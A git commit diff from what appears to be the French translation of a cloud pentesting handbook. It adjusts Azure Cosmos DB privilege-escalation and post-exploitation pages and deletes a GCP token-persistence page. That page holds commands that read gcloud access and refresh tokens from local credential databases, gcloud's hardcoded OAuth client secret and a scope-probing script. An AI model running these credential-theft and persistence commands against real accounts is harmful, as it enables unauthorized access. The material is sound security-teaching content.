Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-20 23:14:32 +00:00
parent 5ef1a237f0
commit 608718eff7
7 changed files with 74 additions and 198 deletions

File diff suppressed because one or more lines are too long

View File

@@ -142,7 +142,7 @@
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
@@ -458,8 +458,8 @@
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
@@ -489,8 +489,8 @@
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)

View File

@@ -1,29 +0,0 @@
# Az - Persistence de Stockage de Queue
{{#include ../../../banners/hacktricks-training.md}}
## Queue
Pour plus d'informations, consultez :
{{#ref}}
../az-services/az-queue.md
{{#endref}}
### Actions : `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Cette autorisation permet à un attaquant de créer ou de modifier des files d'attente et leurs propriétés au sein du compte de stockage. Elle peut être utilisée pour créer des files d'attente non autorisées, modifier des métadonnées ou changer des listes de contrôle d'accès (ACL) pour accorder ou restreindre l'accès. Cette capacité pourrait perturber les flux de travail, injecter des données malveillantes, exfiltrer des informations sensibles ou manipuler les paramètres de la file d'attente pour permettre d'autres attaques.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## Références
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +0,0 @@
# Az - SQL Persistence
{{#include ../../../banners/hacktricks-training.md}}
## SQL
Pour plus d'informations, consultez :
{{#ref}}
../az-services/az-sql.md
{{#endref}}
### Techniques de persistance courantes
- Compromettre les identifiants SQL ou créer un utilisateur SQL (en activant l'authentification SQL si nécessaire)
- Assigner un utilisateur compromis en tant qu'administrateur Entra ID (en activant l'authentification Entra ID si nécessaire)
- Backdoor dans la VM (si une VM SQL est utilisée)
- Créer une règle de FW pour maintenir l'accès à la base de données SQL
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,13 +11,26 @@ Pour plus d'informations sur SQL Database, consultez :
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Avec cette permission, vous pouvez créer ou mettre à jour des comptes Azure Cosmos DB. Cela inclut la modification des paramètres au niveau du compte, l'ajout ou la suppression de régions, le changement des niveaux de cohérence et l'activation ou la désactivation de fonctionnalités telles que les écritures multi-régions.
Avec cette autorisation, vous pouvez créer ou mettre à jour des comptes Azure Cosmos DB. Cela inclut la modification des configurations au niveau du compte, l'activation ou la désactivation de la bascule automatique, la gestion des contrôles d'accès réseau, la définition des politiques de sauvegarde et l'ajustement des niveaux de cohérence. Les attaquants disposant de cette autorisation pourraient modifier les paramètres pour affaiblir les contrôles de sécurité, perturber la disponibilité ou exfiltrer des données en modifiant les règles réseau.
```bash
az cosmosdb update \
--name <account_name> \
--resource-group <resource_group_name> \
--public-network-access ENABLED
```
```bash
az cosmosdb update \
--account-name <account_name> \
--resource-group <resource_group_name> \
--capabilities EnableMongoRoleBasedAccessControl
```
De plus, vous pouvez activer les identités gérées dans le compte :
```bash
az cosmosdb identity assign \
--name <cosmosdb_account_name> \
--resource-group <resource_group_name>
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Avec cette autorisation, vous pouvez créer ou modifier des conteneurs (collections) au sein d'une base de données SQL d'un compte Azure Cosmos DB. Les conteneurs sont utilisés pour stocker des données, et les modifications apportées peuvent affecter la structure de la base de données et les modèles d'accès.
```bash
@@ -56,7 +69,7 @@ az cosmosdb failover-priority-change \
```
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Avec cette autorisation, vous pouvez régénérer les clés primaire ou secondaire pour un compte Azure Cosmos DB. Cela est généralement utilisé pour améliorer la sécurité en remplaçant les anciennes clés, mais cela peut perturber l'accès aux services ou applications qui dépendent des clés actuelles.
Avec cette autorisation, vous pouvez régénérer les clés primaire ou secondaire pour un compte Azure Cosmos DB. Cela est généralement utilisé pour améliorer la sécurité en remplaçant les anciennes clés, mais cela peut perturber l'accès pour les services ou applications qui dépendent des clés actuelles.
```bash
az cosmosdb keys regenerate \
--name <account_name> \
@@ -79,7 +92,7 @@ az cosmosdb sql trigger create \
--operation All
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Avec cette autorisation, vous pouvez créer ou modifier des procédures stockées dans un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les procédures stockées dans Cosmos DB sont des fonctions JavaScript côté serveur qui vous permettent d'encapsuler la logique pour le traitement des données ou l'exécution d'opérations directement dans la base de données.
Avec cette autorisation, vous pouvez créer ou modifier des procédures stockées au sein d'un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les procédures stockées dans Cosmos DB sont des fonctions JavaScript côté serveur qui vous permettent d'encapsuler la logique de traitement des données ou d'effectuer des opérations directement dans la base de données.
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
--resource-group <resource_group_name> \
--name <database_name>
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Avec cette autorisation, vous pouvez créer de nouvelles définitions de rôle MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de définir des rôles personnalisés avec des autorisations spécifiques pour les utilisateurs MongoDB.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Avec cette autorisation, vous pouvez créer de nouvelles définitions d'utilisateur MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de provisionner des utilisateurs avec des rôles et des niveaux d'accès spécifiques aux bases de données MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "myUser",
"Password": "mySecurePassword",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
Avec cette autorisation, vous pouvez créer de nouvelles définitions de rôle MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de définir des rôles personnalisés avec des autorisations spécifiques pour les utilisateurs MongoDB. Les fonctionnalités RBAC doivent être activées pour utiliser cela.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
Vous pouvez créer de nouvelles définitions d'utilisateur MongoDB au sein d'un compte Azure Cosmos DB. Cela permet de provisionner des utilisateurs avec des rôles spécifiques et un accès aux bases de données MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
Après cela, un nouvel utilisateur est créé dans le MongoDB, nous pouvons y accéder :
```bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Avec cette autorisation, vous pouvez récupérer les clés primaire et secondaire pour un compte Azure Cosmos DB. Ces clés offrent un accès complet au compte de base de données et à ses ressources, permettant des actions telles que la lecture, l'écriture de données et les modifications de configuration.
Avec cette autorisation, vous pouvez récupérer les clés primaire et secondaire pour un compte Azure Cosmos DB. Ces clés offrent un accès complet au compte de base de données et à ses ressources, permettant des actions telles que des lectures de données, des écritures et des modifications de configuration.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,90 +0,0 @@
# GCP - Persistance de Token
{{#include ../../../banners/hacktricks-training.md}}
### Tokens d'Utilisateur Authentifié
Pour obtenir le **token actuel** d'un utilisateur, vous pouvez exécuter :
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
Vérifiez sur cette page comment **utiliser directement ce jeton avec gcloud** :
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}
Pour obtenir les détails pour **générer un nouveau jeton d'accès**, exécutez :
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
Il est également possible de trouver des jetons de rafraîchissement dans **`$HOME/.config/gcloud/application_default_credentials.json`** et dans **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
Pour obtenir un nouveau jeton d'accès rafraîchi avec le **jeton de rafraîchissement**, l'ID client et le secret client, exécutez :
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
La validité des jetons de rafraîchissement peut être gérée dans **Admin** > **Security** > **Google Cloud session control**, et par défaut, elle est définie sur 16h bien qu'elle puisse être réglée pour ne jamais expirer :
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
Le flux d'authentification lors de l'utilisation de quelque chose comme `gcloud auth login` ouvrira une invite dans le navigateur et après avoir accepté tous les scopes, le navigateur enverra une requête comme celle-ci au port http ouvert par l'outil :
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Ensuite, gcloud utilisera l'état et le code avec un `client_id` codé en dur (`32555940559.apps.googleusercontent.com`) et **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) pour obtenir les **données finales du jeton de rafraîchissement**.
> [!CAUTION]
> Notez que la communication avec localhost se fait en HTTP, il est donc possible d'intercepter les données pour obtenir un jeton de rafraîchissement, cependant ces données ne sont valides qu'une seule fois, donc cela serait inutile, il est plus facile de simplement lire le jeton de rafraîchissement à partir du fichier.
### OAuth Scopes
Vous pouvez trouver tous les scopes Google sur [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ou les obtenir en exécutant :
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
Il est possible de voir quels scopes l'application que **`gcloud`** utilise pour s'authentifier peut prendre en charge avec ce script :
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
Après l'avoir exécuté, il a été vérifié que cette application prend en charge ces portées :
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
il est intéressant de voir comment cette application prend en charge le **`drive`** scope, ce qui pourrait permettre à un utilisateur d'escalader de GCP à Workspace si un attaquant parvient à forcer l'utilisateur à générer un token avec ce scope.
**Vérifiez comment** [**abuser de cela ici**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
### Comptes de service
Tout comme avec les utilisateurs authentifiés, si vous parvenez à **compromettre le fichier de clé privée** d'un compte de service, vous pourrez **y accéder généralement aussi longtemps que vous le souhaitez**.\
Cependant, si vous volez le **token OAuth** d'un compte de service, cela peut être encore plus intéressant, car, même si par défaut ces tokens ne sont utiles que pendant une heure, si la **victime supprime la clé API privée, le token OAuth restera valide jusqu'à son expiration**.
### Métadonnées
Évidemment, tant que vous êtes à l'intérieur d'une machine fonctionnant dans l'environnement GCP, vous pourrez **accéder au compte de service attaché à cette machine en contactant le point de terminaison des métadonnées** (notez que les tokens OAuth auxquels vous pouvez accéder à ce point de terminaison sont généralement restreints par des scopes).
### Remédiations
Certaines remédiations pour ces techniques sont expliquées dans [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
### Références
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
{{#include ../../../banners/hacktricks-training.md}}